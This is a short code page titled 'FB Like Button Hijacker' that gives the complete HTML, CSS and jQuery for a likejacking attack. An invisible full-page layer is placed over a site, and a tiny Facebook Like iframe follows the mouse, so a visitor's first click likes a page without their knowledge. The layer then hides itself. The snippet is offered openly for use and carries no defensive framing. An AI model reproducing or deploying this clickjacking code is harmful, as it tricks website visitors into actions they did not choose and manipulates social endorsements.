FB Like Button Hijacker
Bind FB Like button to mousemove event, and resize the button 2px width, 2px height.
Work in 100% width and height of document.
Use to hijack Like click.
HTML
<!-- FB Like Button Hijacker
DREAMSNET.IT - IT Solutions di Marco Marcoaldi
[email protected]
www.dreamsnet.it
-->
<div id="likejacking">
<div id="fbframe">
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script> <fb:like href="https://www.facebook.com/dreamsnet" show_faces="true"></fb:like>
</div>
</div>
CSS
#likejacking {
position: absolute;
width:100%;
background-color:transparent;
top:0;
left:0;
z-index:999;
}
#fbframe {
width: 70px;
height: 20px;
overflow: hidden;
position: absolute;
top: 0;
left: 0;
cursor: default;
}
JavaScript
$('#likejacking').css({'height':(($(document).height()))+'px'});
var img = $('#likejacking'),
imgOffset = img.offset(),
imgTop = imgOffset.top,
imgLeft = imgOffset.left,
fbframe = $('#fbframe');
img.mousemove(function(event) {
fbframe.css({
top : event.pageY - imgTop,
left: event.pageX - imgLeft
});
});
FB.Event.subscribe('edge.create', function() {
$('#fbframe').toggle();
$('#likejacking').toggle();
});